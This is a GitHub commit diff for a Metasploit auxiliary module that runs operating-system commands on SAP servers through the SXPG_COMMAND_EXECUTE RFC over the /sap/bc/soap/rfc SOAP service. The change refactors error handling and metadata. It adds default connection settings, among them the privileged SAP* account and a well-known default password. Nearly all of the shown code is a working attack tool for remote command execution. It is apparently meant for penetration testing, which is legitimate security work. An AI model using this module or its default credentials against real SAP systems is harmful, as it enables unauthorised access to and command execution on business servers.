Skip to content

Commit a3550fb

Browse files
committed
Merge branch 'sap_soap_rfc_sxpg_command_exec' of https://github.com/nmonkee/metasploit-framework into sap_soap_rfc_sxpg_command_exec
2 parents aaeb057 + b4f8f2e commit a3550fb

File tree

1 file changed

+35
-28
lines changed

1 file changed

+35
-28
lines changed

modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb

Lines changed: 35 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -28,21 +28,30 @@ def initialize
2828
super(
2929
'Name' => 'SAP SOAP RFC SXPG_COMMAND_EXECUTE',
3030
'Description' => %q{
31-
This module makes use of the SXPG_COMMAND_EXECUTE Remote Function Call (via SOAP)
32-
to execute OS commands as configured in SM69.
31+
This module makes use of the SXPG_COMMAND_EXECUTE Remote Function Call, through
32+
the use of the /sap/bc/soap/rfc SOAP service to execute OS commands as configured
33+
in the SM69 transaction.
3334
},
34-
'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]],
35-
'Author' => [ 'Agnivesh Sathasivam','nmonkee' ],
36-
'License' => BSD_LICENSE
37-
)
35+
'References' =>
36+
[
37+
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
38+
],
39+
'Author' =>
40+
[
41+
'Agnivesh Sathasivam',
42+
'nmonkee'
43+
],
44+
'License' => MSF_LICENSE
45+
)
3846
register_options(
3947
[
40-
OptString.new('CLIENT', [true, 'Client', nil]),
41-
OptString.new('USERNAME', [true, 'Username', nil]),
42-
OptString.new('PASSWORD', [true, 'Password', nil]),
43-
OptString.new('CMD', [true, 'Command to be executed', nil]),
44-
OptString.new('PARAM', [false, 'Additional parameters', nil]),
45-
OptEnum.new('OS', [true, 'Target OS','ANYOS',['ANYOS', 'UNIX', 'Windows NT', 'AS/400', 'OS/400']])
48+
Opt::RPORT(8000),
49+
OptString.new('CLIENT', [true, 'SAP Client', '001']),
50+
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
51+
OptString.new('PASSWORD', [true, 'Password', '06071992']),
52+
OptString.new('CMD', [true, 'SM69 command to be executed', nil]),
53+
OptString.new('PARAM', [false, 'Additional parameters for the SM69 command', nil]),
54+
OptEnum.new('OS', [true, 'SM69 Target OS','ANYOS',['ANYOS', 'UNIX', 'Windows NT', 'AS/400', 'OS/400']])
4655
], self.class)
4756
end
4857

@@ -82,8 +91,13 @@ def run_host(ip)
8291
# to do - implement error handlers for each status code, 404, 301, etc.
8392
print_error("[SAP] #{ip}:#{rport} - something went wrong!")
8493
return
85-
else
86-
success = true
94+
elsif res and res.body =~ /faultstring/
95+
error = res.body.scan(%r{<faultstring>(.*?)</faultstring>}).flatten
96+
0.upto(error.length-1) do |i|
97+
print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
98+
end
99+
return
100+
elsif res
87101
print_status("[SAP] #{ip}:#{rport} - got response")
88102
saptbl = Msf::Ui::Console::Table.new(
89103
Msf::Ui::Console::Table::Style::Default,
@@ -93,26 +107,19 @@ def run_host(ip)
93107
'Indent' => 1,
94108
'Columns' =>["Output",]
95109
)
96-
response = res.body if res
97-
if response =~ /faultstring/
98-
error = response.scan(%r{<faultstring>(.*?)</faultstring>}).flatten
99-
sucess = false
100-
end
101-
output = response.scan(%r{<MESSAGE>([^<]+)</MESSAGE>}).flatten
110+
output = res.body.scan(%r{<MESSAGE>([^<]+)</MESSAGE>}).flatten
102111
for i in 0..output.length-1
103112
saptbl << [output[i]]
104113
end
114+
print(saptbl.to_s)
115+
return
116+
else
117+
print_error("[SAP] #{ip}:#{rport} - Unknown error")
118+
return
105119
end
106120
rescue ::Rex::ConnectionError
107121
print_error("[SAP] #{ip}:#{rport} - Unable to connect")
108-
return false
109-
end
110-
if success
111-
print(saptbl.to_s)
112-
elsif !sucess
113-
0.upto(error.length-1) do |i|
114-
print_error("[SAP] #{ip}:#{rport} - error #{error[i]}")
115-
end
122+
return
116123
end
117124
end
118125
end

0 commit comments

Comments
 (0)